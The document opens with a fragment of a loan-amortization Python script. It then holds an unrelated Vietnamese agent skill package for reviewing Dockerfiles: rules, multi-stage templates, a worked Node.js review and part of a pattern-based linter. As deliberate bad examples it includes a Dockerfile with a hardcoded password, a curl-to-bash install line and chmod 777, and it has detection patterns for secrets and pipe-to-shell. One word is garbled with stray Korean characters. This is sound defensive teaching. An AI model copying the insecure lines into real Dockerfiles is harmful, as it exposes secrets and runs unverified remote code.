{e.strerror}", file=sys.stderr) return 2 if a.json: print(json.dumps(result, indent=2)) return 0 b = result["baseline"] print(f"Loan {a.principal:,.2f} at {a.rate}% for {n} months, first payment {fmt_ym(start)}") print(f"Baseline: {b['monthly_payment']:,.2f} per month, interest {b['total_interest']:,.2f}, " f"total paid {b['total_paid']:,.2f}, paid off {b['payoff']} ({b['months']} payments)") if a.fee: print(f" With fees {a.fee:,.2f}: total cost of borrowing {b['total_cost_incl_fees']:,.2f}, APR about {b['apr_estimate_pct']}%") print(f" First payment: {first['interest']:,.2f} interest, {first['principal']:,.2f} principal") if scenario: pl = result["plan"] what = [] if a.payment: what.append(f"fixed payment {a.payment:,.2f}") if a.extra: what.append(f"+{a.extra:,.2f}/month" + (f" from payment {a.extra_from}" if a.extra_from > 1 else "")) if lumps: what.append("lump sums " + ", ".join(f"{v:,.2f} in payment {k}" for k, v in sorted(lumps.items()))) print(f"Plan ({'; '.join(what)}): paid off {pl['payoff']} ({pl['months']} payments), " f"interest {pl['total_interest']:,.2f}") ms = pl["months_saved"] if ms >= 0 and pl["interest_saved"] >= 0: print(f" Saves {pl['interest_saved']:,.2f} interest and {ms} months ({ms // 12} y {ms % 12} m)" + (f"; every 100 of extra saves {pl['interest_saved_per_100_extra']:,.2f}" if pl.get("interest_saved_per_100_extra") else "")) else: print(f" WARNING: this plan costs {-pl['interest_saved']:,.2f} MORE interest and takes {-ms} months longer than the baseline") if a.yearly: print(f"\nYear-by-year ({'plan' if scenario else 'baseline'}):") print(f"{'Year':>4} {'Paid':>12} {'Interest':>12} {'Principal':>12} {'Balance':>12}") for y in yearly: print(f"{y['year']:>4} {y['paid']:>12,.2f} {y['interest']:>12,.2f} {y['principal']:>12,.2f} {y['end_balance']:>12,.2f}") if a.schedule: print(f"\nSchedule written to {a.schedule} ({len(rows)} rows)") return 0 if __name__ == "__main__": sys.exit(main(sys.argv[1:]))
Đánh giá Dockerfile về bảo mật, dung lượng image, bộ nhớ đệm bản dựng (build cache) và độ tin cậy khi chạy (runtime): bí mật (secrets) bị gắn cứng vào các lớp (layers), chạy dưới quyền root, base image chưa ghim phiên bản, lệnh curl truyền thẳng qua pipe vào shell, sử dụng sai lệnh ADD, bộ nhớ đệm apt và pip còn sót lại, cài đặt gói phụ thuộc làm hỏng cache, lệnh CMD dạng shell, và thiếu bản dựng đa giai đoạn (multi-stage builds) hoặc kiểm tra sức khỏe (health checks), sau đó viết lại một Dockerfile đã sửa lỗi và tệp .dockerignore. Sử dụng khi người dùng chia sẻ một Dockerfile và hỏi "hãy đánh giá Dockerfile của tôi", "tại sao image của tôi lại nặng như vậy?", hoặc "container này có an toàn không?".
---
name: dockerfile-best-practices-reviewer
description: Đánh giá Dockerfile về bảo mật, dung lượng image, bộ nhớ đệm bản dựng (build cache) và độ tin cậy khi chạy (runtime): bí mật (secrets) bị gắn cứng vào các lớp (layers), chạy dưới quyền root, base image chưa ghim phiên bản, lệnh curl truyền thẳng qua pipe vào shell, sử dụng sai lệnh ADD, bộ nhớ đệm apt và pip còn sót lại trong các lớp, cài đặt gói phụ thuộc làm hỏng cache, lệnh CMD dạng shell, và thiếu bản dựng đa giai đoạn (multi-stage builds) hoặc kiểm tra sức khỏe (health checks), sau đó viết lại một Dockerfile đã sửa lỗi và tệp .dockerignore. Sử dụng khi người dùng chia sẻ một Dockerfile và hỏi "hãy đánh giá Dockerfile của tôi", "tại sao image của tôi lại nặng như vậy?", "container này có an toàn không?", hoặc "tại sao mỗi lần build lại cài đặt lại các gói phụ thuộc?". Bao gồm một công cụ kiểm lỗi (linter) bằng thư viện chuẩn Python đã được kiểm thử.
---
# Trình Đánh giá Thực hành Tốt nhất cho Dockerfile
Bạn giúp các lập trình viên xuất xưởng những container image nhỏ gọn, xây dựng lại (rebuild) nhanh chóng và vận hành an toàn. Bạn đọc một Dockerfile theo cách của một kỹ sư nền tảng (platform engineer) cẩn trọng: bạn tìm ra những điểm làm rò rỉ thông tin bí mật hoặc trao quyền root, những gì khiến image bị phình to, và những gì buộc quá trình build lại diễn ra chậm chạp, đồng thời bạn trả về một Dockerfile đã được hiệu chỉnh mà vẫn build và chạy đúng ứng dụng đó.
## Các tệp trong kỹ năng này
- `scripts/lint_dockerfile.py` - phân tích cú pháp một Dockerfile (các dòng nối tiếp, bản dựng đa giai đoạn) và báo cáo các phát hiện ở mức HIGH, WARN và INFO kèm theo cách khắc phục cho từng vấn đề (chỉ dùng thư viện chuẩn Python 3)
- `references/dockerfile-rules.md` - mọi quy tắc mà linter kiểm tra, lý do tại sao nó quan trọng và mẫu chuẩn cần dùng
- `references/language-patterns.md` - các mẫu đa giai đoạn (multi-stage) đã được kiểm chứng cho Node.js, Python, Go và Java, cùng với một tệp .dockerignore khởi đầu
- `templates/dockerfile-review.md` - mẫu báo cáo đánh giá để trả về kết quả
- `examples/example-node-api-review.md` - một bài đánh giá mẫu hoàn chỉnh cho Dockerfile của một Node.js API
## Quy trình làm việc
### 1. Thu thập thông tin thực tế
Hỏi người dùng, hoặc đưa ra giả định và nêu rõ:
- Tệp Dockerfile, và tệp .dockerignore nếu có.
- Ngôn ngữ và framework, cách ứng dụng được build và khởi chạy, cùng cổng (port) lắng nghe.
- Môi trường chạy ứng dụng (Kubernetes, ECS, máy ảo chạy Docker Compose, máy tính cá nhân) và liệu nền tảng đó đã có cơ chế kiểm tra sức khỏe (health checks) hay chưa.
- Các ràng buộc: base image bắt buộc (registry của công ty, distroless, Alpine hay Debian), các thư viện phụ thuộc gốc (native dependencies), và liệu quá trình build có sử dụng BuildKit hay không.
### 2. Chạy công cụ kiểm lỗi (linter)
```bash
python3 scripts/lint_dockerfile.py Dockerfile
python3 scripts/lint_dockerfile.py services/*/Dockerfile --fail-on warn # stricter, for CI
python3 scripts/lint_dockerfile.py - --json < Dockerfile
```
Công cụ linter là bước quét nhanh đầu tiên dựa trên các mẫu nhận diện (patterns), chứ không phải là một quá trình build thực sự. Hãy tự mình đọc kỹ toàn bộ Dockerfile: linter không thể biết liệu một gói phần mềm có thực sự cần thiết hay không, liệu một tệp được sao chép vào có chứa thông tin bí mật hay không, hoặc liệu ứng dụng có ghi dữ liệu vào một đường dẫn mà người dùng không phải root (non-root user) không thể truy cập hay không. Nếu bạn không thể chạy script, hãy áp dụng thủ công theo `references/dockerfile-rules.md`.
### 3. Sửa lỗi theo thứ tự này
1. Bảo mật (HIGH): loại bỏ các giá trị bí mật trực tiếp (literal secrets) khỏi ENV, ARG và RUN, thay vào đó hãy sử dụng cơ chế gắn kết bí mật (secret mounts) của BuildKit hoặc cấu hình lúc chạy (runtime); nhắc người dùng xoay vòng (rotate) bất kỳ khóa bí mật nào đã từng bị commit hoặc đẩy lên trong một image. Thêm chỉ thị USER không phải root. Thay thế cú pháp curl-pipe-shell và lệnh chmod 777.
2. Tính tái lập (Reproducibility): ghim (pin) các base image vào một thẻ phiên bản cụ thể (hoặc mã băm digest đối với các bản dựng đòi hỏi độ đảm bảo cao) và sử dụng cài đặt theo tệp khóa (npm ci, pip kèm tệp khóa requirements, go mod download).
3. Bộ nhớ đệm bản dựng (Build cache): sao chép các tệp khai báo phụ thuộc (manifests) trước, tiến hành cài đặt, rồi mới sao chép mã nguồn. Kết hợp lệnh cập nhật (update) và cài đặt (install) vào cùng một chỉ thị RUN.
4. Dung lượng (Size): sử dụng bản dựng đa giai đoạn (multi-stage build), chọn base image lúc chạy dạng slim hoặc distroless, không cài các gói khuyến nghị đi kèm (recommended packages), dọn dẹp bộ nhớ đệm trình quản lý gói trong cùng một lớp (layer), và dùng tệp .dockerignore tốt.
5. Lúc chạy (Runtime): dùng CMD hoặc ENTRYPOINT ở dạng thực thi (exec-form), mỗi container một tiến trình, thêm HEALTHCHECK nếu nền tảng không có bộ dò (probe) riêng, thiết lập WORKDIR và quyền sở hữu tệp hợp lý.
Chạy lại linter trên tệp đã sửa cho đến khi không còn phát hiện mức HIGH nào và mọi cảnh báo WARN đều đã được sửa hoặc giải thích rõ.
### 4. Bàn giao kết quả
Điền vào mẫu `templates/dockerfile-review.md`: tóm tắt, bảng phát hiện lỗi, Dockerfile đã sửa kèm chú thích ngắn gọn, tệp .dockerignore, hướng dẫn cách build và kiểm thử, cùng ước tính tác động về dung lượng và thời gian build lại. Sử dụng các mẫu từ `references/language-patterns.md` và tuân theo phong cách trình bày của `examples/example-node-api-review.md`.
## Quy tắc
- Giữ nguyên hành vi của ứng dụng: cùng lệnh khởi chạy, cổng, biến môi trường và các tệp lúc chạy, trừ khi người dùng đồng ý thay đổi chúng.
- Không bao giờ in ra hoặc lặp lại một giá trị bí mật thực sự tìm thấy trong tệp; chỉ đề cập đến nó bằng tên biến và nhắc người dùng xoay vòng (rotate) khóa bí mật đó.
- Không tuyên bố dung lượng image chính xác tuyệt đối khi chưa thực hiện build thực tế; hãy đưa ra các khoảng ước tính và hướng dẫn cách đo lường (`docker image ls`, `docker history`).
- Ưu tiên các base image chính thức, được duy trì đều đặn; nêu rõ sự đánh đổi giữa Alpine (musl) so với Debian slim và distroless đối với ngôn ngữ lập trình của người dùng.
- Giải thích mỗi thay đổi trong một dòng để người dùng nắm được quy tắc cốt lõi chứ không chỉ thấy phần sửa lỗi.
FILE:references/dockerfile-rules.md
# Các quy tắc Dockerfile được kiểm tra bởi linter
Mỗi quy tắc bao gồm: dấu hiệu được phát hiện, lý do tại sao nó quan trọng và mẫu chuẩn cần sử dụng thay thế.
## HIGH (bảo mật)
### secret-in-env / secret-in-run
Phát hiện: ENV hoặc ARG có tên như PASSWORD, SECRET, TOKEN, API_KEY, ACCESS_KEY, PRIVATE_KEY, CREDENTIALS đi kèm giá trị trực tiếp; tham số `--password=...` hoặc URL dạng `user:pass@` trong chỉ thị RUN; tên biến ARG trông giống như thông tin bí mật (WARN).
Lý do: mọi giá trị ENV và tham số build (build arg) đều được lưu trong cấu hình và lịch sử của image (`docker history --no-trunc`). Bất kỳ ai có thể kéo (pull) image về đều có thể đọc được nó. Việc xóa nó ở một lớp (layer) sau đó không làm nó biến mất khỏi lịch sử.
Sử dụng thay thế:
```dockerfile
# syntax=docker/dockerfile:1
RUN --mount=type=secret,id=npm_token \
NPM_TOKEN="$(cat /run/secrets/npm_token)" npm ci
```
Build bằng lệnh `docker build --secret id=npm_token,src=$HOME/.npm_token .`. Truyền các bí mật lúc chạy (runtime secrets) dưới dạng biến môi trường từ nền tảng vận hành hoặc trình quản lý bí mật (secrets manager). Xoay vòng bất kỳ bí mật nào đã từng nằm trong một image.
### root-user
Phát hiện: không có chỉ thị USER trong giai đoạn (stage) cuối cùng, hoặc đặt USER root / 0.
Lý do: một tiến trình thoát ra khỏi phạm vi ứng dụng dưới quyền root bên trong container sẽ có quyền lực lớn hơn rất nhiều đối với máy chủ (host) và các container khác.
Sử dụng thay thế: tạo một người dùng và chuyển đổi quyền trước chỉ thị CMD; nhiều image chính thức đã tích hợp sẵn một người dùng (`node`, `nobody`).
```dockerfile
RUN groupadd -r app && useradd -r -g app -u 10001 app
COPY --chown=app:app . /app
USER app
```
### curl-pipe-shell
Phát hiện: `curl ... | sh` hoặc `wget ... | bash`.
Lý do: thực thi bất cứ thứ gì máy chủ trả về mà không có bước kiểm tra tính toàn vẹn; một đoạn script bị xâm phạm hoặc bị thay đổi sẽ đi thẳng vào mọi bản dựng.
Sử dụng thay thế: tải xuống, xác minh mã kiểm tra (checksum), sau đó mới chạy.
```dockerfile
RUN curl -fsSLo /tmp/install.sh https://example.com/install.sh \
&& echo "<sha256> /tmp/install.sh" | sha256sum -c - \
&& sh /tmp/install.sh && rm /tmp/install.sh
```
### chmod-777
Phát hiện: `chmod 777` hoặc `chmod -R 777`.
Lý do: bất kỳ người dùng hoặc tiến trình nào trong container đều có thể sửa đổi các tệp đó, bao gồm cả mã nguồn ứng dụng.
Sử dụng thay thế: dùng `COPY --chown=app:app` và `chmod 755` cho các tệp thực thi, `644` cho các tệp thông thường.
## WARN
| Quy tắc | Dấu hiệu phát hiện | Lý do | Cách khắc phục |
|---|---|---|---|
| unpinned-base | FROM không có thẻ (tag) hoặc dùng `:latest` | bản dựng thay đổi âm thầm; khó tái lập hoặc quay lui (roll back) | `FROM node:20.11-bookworm-slim` hoặc ghim mã băm digest `@sha256:...` |
| use-copy | Dùng ADD cho các tệp cục bộ hoặc URL | ADD tự động giải nén các tệp lưu trữ và tải xuống mà không kiểm tra checksum | Dùng COPY cho các tệp; dùng curl kèm kiểm tra checksum hoặc `ADD --checksum=` cho URL; ADD vẫn phù hợp đối với các tệp nén tar cục bộ mà bạn muốn tự động giải nén |
| update-alone | Chạy `apt-get update` (hoặc apk/yum) mà không kèm install trong cùng một lệnh RUN | lớp update đã lưu cache sẽ bị tái sử dụng cùng với một dòng install mới hơn về sau, khiến các gói được lấy từ chỉ mục (index) đã cũ | `RUN apt-get update && apt-get install -y ...` |
| cache-bust | Cài đặt gói phụ thuộc sau lệnh `COPY . .` | bất kỳ thay đổi mã nguồn nào cũng làm mất hiệu lực lớp cài đặt, khiến mọi lần build đều phải cài đặt lại toàn bộ | sao chép các tệp khai báo (manifests) trước, cài đặt, rồi mới sao chép mã nguồn |
| sudo | Dùng sudo trong RUN | không cần thiết (quá trình build vốn chạy dưới quyền root cho đến khi gặp chỉ thị USER), lại làm cài thêm tệp nhị phân setuid | chạy bước đó trước chỉ thị USER |
| ssh-port | EXPOSE 22 | các container không nên chạy dịch vụ nền SSH (SSH daemons) | dùng `docker exec`, `kubectl exec` |
| multiple-cmd | Có nhiều hơn một CMD hoặc ENTRYPOINT trong cùng một giai đoạn | chỉ có chỉ thị cuối cùng có hiệu lực; thường là do nhầm lẫn | chỉ giữ lại một chỉ thị |
## INFO
| Quy tắc | Cách khắc phục |
|---|---|
| apt-recommends | `apt-get install -y --no-install-recommends ...` |
| apt-lists | kết thúc cùng lệnh RUN đó bằng `&& rm -rf /var/lib/apt/lists/*` |
| apk-cache | `apk add --no-cache ...` |
| pip-cache | `pip install --no-cache-dir ...` hoặc dùng cơ chế gắn kết bộ nhớ đệm (cache mount) của BuildKit |
| npm-ci | `npm ci --omit=dev` sử dụng chính xác theo tệp khóa (lockfile) |
| shell-form | `CMD ["node", "server.js"]` để ứng dụng chạy dưới dạng PID 1 và nhận được tín hiệu SIGTERM giúp tắt ứng dụng an toàn (graceful shutdown) |
| cd-in-run | `WORKDIR /app` |
| no-healthcheck | `HEALTHCHECK CMD curl -fsS http://localhost:3000/health || exit 1` nếu nền tảng không có bộ dò (probe); Kubernetes bỏ qua HEALTHCHECK và sử dụng cơ chế probe riêng của nó |
| single-stage | thực hiện build trong một giai đoạn builder; chỉ sao chép kết quả đầu ra sang một giai đoạn runtime gọn nhẹ (slim) |
| many-layers | gộp các bước RUN có liên quan lại với nhau; tạo ít lớp (layers) hơn nhưng có mục đích rõ ràng |
| dockerignore | loại trừ `.git`, `node_modules`, `.env*`, thư mục đầu ra bản dựng, nhật ký (logs) và các tệp bí mật cục bộ |
## Những gì linter không thể nhìn thấy
- Liệu các tệp được sao chép vào có chứa thông tin bí mật hay không (hãy kiểm tra `.dockerignore` và kho mã nguồn).
- Các gói phần mềm tồn tại lỗ hổng bảo mật trong base image hoặc thư viện phụ thuộc: hãy đề xuất tích hợp công cụ quét image vào quy trình CI.
- Liệu người dùng không phải root (non-root user) có quyền ghi tại các thư mục mà ứng dụng cần ghi dữ liệu hay không (logs, uploads, caches).
- Các vấn đề về kiến trúc phần cứng (arm64 so với amd64), các mô-đun gốc (native modules) và khả năng tương thích với thư viện musl của Alpine.
FILE:references/language-patterns.md
# Các mẫu đa giai đoạn (Multi-stage) theo ngôn ngữ lập trình
Điều chỉnh phiên bản cho phù hợp với dự án. Tất cả các ví dụ đều chạy dưới quyền người dùng không phải root, sử dụng CMD ở dạng thực thi (exec-form) và loại bỏ các công cụ build khỏi image lúc chạy (runtime image).
## Node.js (npm)
```dockerfile
# syntax=docker/dockerfile:1
FROM node:20.11-bookworm-slim AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev
FROM node:20.11-bookworm-slim AS build
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci
COPY . .
RUN npm run build
FROM node:20.11-bookworm-slim
ENV NODE_ENV=production
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY --from=build --chown=node:node /app/dist ./dist
USER node
EXPOSE 3000
CMD ["node", "dist/server.js"]
```
Bỏ qua giai đoạn build nếu không có bước biên dịch. Chỉ sử dụng `node:<version>-alpine` nếu các mô-đun gốc (native modules) hoạt động tốt với musl.
## Python (pip)
```dockerfile
FROM python:3.12-slim AS build
WORKDIR /app
RUN python -m venv /venv
ENV PATH="/venv/bin:$PATH"
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
FROM python:3.12-slim
ENV PATH="/venv/bin:$PATH" PYTHONDONTWRITEBYTECODE=1 PYTHONUNBUFFERED=1
WORKDIR /app
COPY --from=build /venv /venv
RUN useradd -r -u 10001 app
COPY --chown=app:app . .
USER app
EXPOSE 8000
CMD ["gunicorn", "-b", "0.0.0.0:8000", "app:app"]
```
Nếu các gói thư viện cần trình biên dịch (như psycopg2, numpy biên dịch từ mã nguồn), chỉ cài đặt `build-essential` trong giai đoạn build.
## Go
```dockerfile
FROM golang:1.22 AS build
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" -o /out/app ./cmd/app
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=build /out/app /app
USER nonroot
ENTRYPOINT ["/app"]
```
Một tệp thực thi nhị phân Go tĩnh chạy trên nền distroless hoặc scratch sẽ tạo ra các image chỉ nặng từ vài MB đến vài chục MB.
## Java (Maven)
```dockerfile
FROM maven:3.9-eclipse-temurin-21 AS build
WORKDIR /src
COPY pom.xml .
RUN mvn -q dependency:go-offline
COPY src ./src
RUN mvn -q package -DskipTests
FROM eclipse-temurin:21-jre
RUN useradd -r -u 10001 app
WORKDIR /app
COPY --from=build --chown=app:app /src/target/app.jar app.jar
USER app
EXPOSE 8080
ENTRYPOINT ["java", "-XX:MaxRAMPercentage=75", "-jar", "app.jar"]
```
## Tệp .dockerignore khởi đầu
```
.git
.gitignore
.dockerignore
Dockerfile*
node_modules
dist
build
target
__pycache__
*.pyc
.venv
.env
.env.*
*.log
coverage
.idea
.vscode
secrets/
*.pem
*.key
```
## Đo lường kết quả
- Chạy `docker build -t app:review .` sau đó dùng `docker image ls app:review` để kiểm tra dung lượng.
- Dùng `docker history app:review` để xem những lớp (layers) nào đang chiếm nhiều dung lượng.
- Thay đổi một tệp mã nguồn và thực hiện build lại: bước cài đặt gói phụ thuộc phải hiển thị trạng thái CACHED.
FILE:templates/dockerfile-review.md
# Đánh giá Dockerfile: service_name
**Ứng dụng:** language_and_framework, khởi chạy bằng lệnh start_command, cổng port
**Chạy trên nền tảng:** platform
**Kết quả Linter:** HIGH high / WARN warn / INFO info trước khi sửa; HIGH 0 / WARN warn_after / INFO info_after sau khi sửa
## Tóm tắt
Hai hoặc ba câu: vấn đề bảo mật lớn nhất, vấn đề lớn nhất về dung lượng hoặc tốc độ, và mức độ cải thiện dự kiến.
## Các phát hiện chi tiết
| # | Mức độ | Dòng | Vấn đề | Cách khắc phục |
|---|---|---|---|---|
| 1 | HIGH | | | |
## Hành động cần thực hiện bên ngoài Dockerfile
- Xoay vòng (Rotate): (tên của bất kỳ khóa bí mật nào đã từng nằm trong tệp hoặc image, tuyệt đối không nêu giá trị của chúng)
- Nền tảng vận hành: các bộ dò kiểm tra sức khỏe (health probes), hệ thống tệp chỉ đọc (read-only filesystem), giới hạn tài nguyên (resource limits)
## Dockerfile đã hiệu chỉnh
```dockerfile
(full corrected Dockerfile with one-line comments on changed parts)
```
## .dockerignore
```
(các mục loại trừ)
```
## Build và xác minh
```bash
docker build -t image:review .
docker run --rm -p port:port image:review
docker image ls image:review
python3 scripts/lint_dockerfile.py Dockerfile
```
## Tác động dự kiến (ước tính)
- Dung lượng image: giảm từ khoảng ... xuống còn khoảng ...
- Build lại sau khi thay đổi mã nguồn: lớp cài đặt gói phụ thuộc được lấy từ bộ nhớ đệm (cached)
- Bảo mật: chạy dưới quyền non-root, không lưu bí mật trong các lớp, đã ghim phiên bản base image
FILE:examples/example-node-api-review.md
# Ví dụ: Đánh giá Dockerfile của một Node.js API
## Yêu cầu của người dùng
"Image của dịch vụ orders API bên mình nặng tới 1.2 GB và mỗi lần build lại đều cài đặt lại toàn bộ các gói npm, ngay cả khi mình chỉ sửa một dòng code. Bạn có thể đánh giá giúp mình tệp Dockerfile này được không? Dịch vụ chạy trên Kubernetes, ứng dụng Express, lệnh chạy `node server.js`, cổng 3000. Theo mình biết thì không dùng mô-đun gốc (native modules) nào."
## Dockerfile đầu vào
```dockerfile
FROM node
ENV NODE_ENV=production
ENV DB_PASSWORD=supersecret123
RUN apt-get update
RUN apt-get install -y curl git build-essential
WORKDIR /app
COPY . .
RUN npm install
RUN curl -fsSL https://example.com/install-agent.sh | bash
RUN chmod -R 777 /app
ADD config.json /app/config.json
EXPOSE 3000 22
CMD node server.js
```
## Kết quả chạy Linter
```
$ python3 scripts/lint_dockerfile.py Dockerfile
Dockerfile: 1 stage(s): node
HIGH 4 WARN 5 INFO 7
HIGH line 1 root-user the final image runs as root
HIGH line 3 secret-in-env ENV DB_PASSWORD contains a literal secret; it is stored in the image layers and history
HIGH line 9 curl-pipe-shell downloads a script and pipes it straight into a shell
HIGH line 10 chmod-777 chmod 777 makes files writable by every user
WARN line 1 unpinned-base base image 'node' has no tag, so it means :latest and changes without notice
WARN line 4 update-alone 'apt-get update' runs in its own layer; a later install may use a stale cached index
WARN line 8 cache-bust dependencies are installed after 'COPY . .' (line 7), so any source change reinstalls them
WARN line 11 use-copy ADD is used for local files; it also auto-extracts archives and fetches URLs
WARN line 12 ssh-port port 22 (SSH) is exposed; containers should not run an SSH server
INFO line 1 no-healthcheck no HEALTHCHECK in the final stage
INFO line 1 single-stage build tools are installed in the only stage, so they ship in the final image
INFO line 5 apt-recommends apt installs recommended packages too
INFO line 5 apt-lists apt package lists are left in the layer (tens of MB)
INFO line 7 dockerignore COPY of the whole build context
INFO line 8 npm-ci npm install can change the lockfile and versions
INFO line 13 shell-form shell-form CMD runs under /bin/sh -c, so the app is not PID 1 and may miss SIGTERM
```
## Báo cáo đánh giá (đã điền vào mẫu, rút gọn)
**Kết quả Linter:** HIGH 4 / WARN 5 / INFO 7 trước khi sửa; HIGH 0 / WARN 0 / INFO 0 sau khi sửa
**Tóm tắt:** Image này đang chứa sẵn mật khẩu cơ sở dữ liệu trong các lớp của nó, chạy dưới quyền root, và truyền thẳng một script tải từ xa vào bash để thực thi. Image bị phình to vì sử dụng bản `node` đầy đủ kèm theo các trình biên dịch và git, đồng thời build chậm vì lệnh `COPY . .` nằm trước `npm install`. Bản Dockerfile hai giai đoạn (two-stage) đã sửa sẽ loại bỏ thông tin bí mật, chạy dưới tài khoản người dùng `node` có sẵn, và lưu cache cho các gói phụ thuộc; dung lượng dự kiến sẽ giảm xuống còn khoảng 200 đến 300 MB thay vì 1.2 GB (đo thực tế bằng lệnh `docker image ls`).
| # | Mức độ | Dòng | Vấn đề | Cách khắc phục |
|---|---|---|---|---|
| 1 | HIGH | 3 | Giá trị DB_PASSWORD trực tiếp trong ENV, hiển thị rõ trong `docker history` | đã xóa; truyền vào từ Kubernetes Secret lúc chạy (runtime) |
| 2 | HIGH | - | chạy dưới quyền root | dùng `USER node` (có sẵn trong image chính thức) |
| 3 | HIGH | 9 | script cài đặt từ xa được truyền thẳng qua pipe vào bash | đã xóa: hiện tại agent được chuyển sang chạy như một Kubernetes sidecar; nếu bắt buộc phải giữ lại, hãy tải xuống, xác minh checksum rồi mới chạy |
| 4 | HIGH | 10 | chmod -R 777 /app | thay bằng `COPY --chown=node:node` |
| 5 | WARN | 1 | base image `node` không gắn thẻ phiên bản | đổi thành `node:20.11-bookworm-slim` |
| 6 | WARN | 4 | lệnh apt-get update nằm ở một lớp riêng biệt | gộp chung với lệnh install và dọn dẹp danh sách gói |
| 7 | WARN | 8 | chạy npm install sau lệnh `COPY . .` | sao chép các tệp khai báo (manifests) trước, chạy `npm ci --omit=dev` trong một giai đoạn deps riêng |
| 8 | WARN | 11 | dùng ADD cho một tệp cục bộ | đổi sang COPY |
| 9 | WARN | 12 | EXPOSE 22 | đã xóa; sử dụng `kubectl exec` khi cần |
| 10 | INFO | 5, 13 | chứa công cụ build và git trong image lúc chạy, lệnh CMD ở dạng shell | đã loại bỏ (vì không có mô-đun gốc), chuyển CMD sang dạng thực thi (exec-form) |
**Hành động cần thực hiện bên ngoài Dockerfile:** xoay vòng (đổi mới) mật khẩu DB_PASSWORD ngay lập tức (vì nó đã nằm trong mọi image được đẩy lên từ trước đến nay), và gắn nó vào Deployment từ một Kubernetes Secret. Kubernetes bỏ qua chỉ thị HEALTHCHECK trong Dockerfile, vì vậy hãy cấu hình thêm readiness probe và liveness probe trỏ vào đường dẫn `/health`; chỉ thị HEALTHCHECK bên dưới vẫn hữu ích khi chạy Docker và Compose ở môi trường cục bộ.
## Dockerfile đã hiệu chỉnh
```dockerfile
# syntax=docker/dockerfile:1
FROM node:20.11-bookworm-slim AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev
FROM node:20.11-bookworm-slim
ENV NODE_ENV=production
WORKDIR /app
RUN apt-get update \
&& apt-get install -y --no-install-recommends curl \
&& rm -rf /var/lib/apt/lists/*
COPY --from=deps /app/node_modules ./node_modules
COPY --chown=node:node src/ ./src/
COPY --chown=node:node config.json ./
USER node
EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=3s CMD curl -fsS http://localhost:3000/health || exit 1
CMD ["node", "src/server.js"]
```
## .dockerignore
```
.git
node_modules
.env
.env.*
*.log
coverage
Dockerfile*
```
## Xác minh
```
$ python3 scripts/lint_dockerfile.py Dockerfile
Dockerfile: 2 stage(s): node:20.11-bookworm-slim AS deps, node:20.11-bookworm-slim
HIGH 0 WARN 0 INFO 0
no problems found
```
Lưu ý: mã nguồn hiện nằm trong thư mục `src/`, vì vậy lệnh khởi chạy đã đổi thành `node src/server.js`; nếu tệp khởi점 (entry file) của bạn nằm ở vị trí khác, hãy giữ nguyên đường dẫn ban đầu của bạn. Nếu phát sinh một thư viện phụ thuộc thực sự cần đến trình biên dịch, chỉ cài đặt `build-essential` và `python3` trong giai đoạn `deps`.
FILE:scripts/lint_dockerfile.py
#!/usr/bin/env python3
"""Review a Dockerfile for security, image size, build cache, and reliability problems.
Usage:
python3 lint_dockerfile.py Dockerfile [more Dockerfiles] [--json] [--fail-on high|warn|info]
python3 lint_dockerfile.py - < Dockerfile
Checks (rule ids in brackets):
HIGH secrets in ENV/ARG or in RUN (secret-in-env, secret-in-run), final stage runs as root
(root-user), pipe from curl/wget to a shell (curl-pipe-shell), chmod 777 (chmod-777)
WARN untagged or :latest base image (unpinned-base), ADD for local files or URLs (use-copy),
apt/apk/yum update without install in the same RUN (update-alone), COPY of the whole
context before installing dependencies (cache-bust), sudo (sudo), EXPOSE 22 (ssh-port),
more than one CMD or ENTRYPOINT in a stage (multiple-cmd)
INFO apt-get without --no-install-recommends or without cleaning lists, pip without
--no-cache-dir, npm install instead of npm ci, shell-form CMD/ENTRYPOINT, cd in RUN
instead of WORKDIR, no HEALTHCHECK, single-stage build with build tools, many RUN layers,
COPY of the whole context (check .dockerignore)
Exit codes: 0 ok, 1 findings at or above --fail-on (default high), 2 usage or read error.
Python 3 standard library only.
"""
import json
import re
import shlex
import sys
LEVELS = {"info": 0, "warn": 1, "high": 2}
SECRET_KEY = re.compile(r"(PASSWORD|PASSWD|SECRET|TOKEN|API_?KEY|ACCESS_?KEY|PRIVATE_?KEY|CREDENTIALS?)", re.I)
BUILD_TOOLS = re.compile(r"\b(build-essential|gcc|g\+\+|make|cmake|maven|gradle|golang|rustc|cargo|npm run build|go build|mvn )", re.I)
def logical_lines(text):
"""Join continuation lines; return list of (line_no, instruction, args). Skips comments and parser directives."""
out, buf, start = [], "", None
escape = "\\"
for i, raw in enumerate(text.replace("\r\n", "\n").split("\n"), 1):
m = re.match(r"^#\s*escape\s*=\s*(\S)", raw)
if m and not out and not buf:
escape = m.group(1)
continue
s = raw.strip()
if not buf and (not s or s.startswith("#")):
continue
if buf and s.startswith("#"):
continue
if start is None:
start = i
if s.endswith(escape):
buf += s[:-1] + " "
continue
buf += s
parts = buf.split(None, 1)
out.append((start, parts[0].upper(), parts[1] if len(parts) > 1 else ""))
buf, start = "", None
if buf:
parts = buf.split(None, 1)
out.append((start, parts[0].upper(), parts[1] if len(parts) > 1 else ""))
return out
def review(text):
lines = logical_lines(text)
findings = []
def add(level, rule, line, msg, fix):
findings.append({"level": level, "rule": rule, "line": line, "message": msg, "fix": fix})
if not any(ins == "FROM" for _, ins, _ in lines):
raise ValueError("no FROM instruction found (is this a Dockerfile?)")
stages, cur = [], None
for ln, ins, args in lines:
if ins == "FROM":
m = re.match(r"(?:--platform=\S+\s+)?(\S+)(?:\s+AS\s+(\S+))?", args, re.I)
cur = {"line": ln, "image": m.group(1) if m else args, "name": m.group(2) if m else None, "ins": []}
stages.append(cur)
elif cur is not None:
cur["ins"].append((ln, ins, args))
names = {s["name"].lower() for s in stages if s["name"]}
arg_names = {a.split("=")[0].strip() for _, i, a in lines if i == "ARG"}
for s in stages:
img = s["image"]
if img.lower() in names or img == "scratch" or img.startswith("$"):
pass
elif "@sha256:" in img:
pass
elif ":" not in img.split("/")[-1]:
add("warn", "unpinned-base", s["line"], f"base image '{img}' has no tag, so it means :latest and changes without notice",
f"pin a version, e.g. {img}:<version>-slim, or a digest")
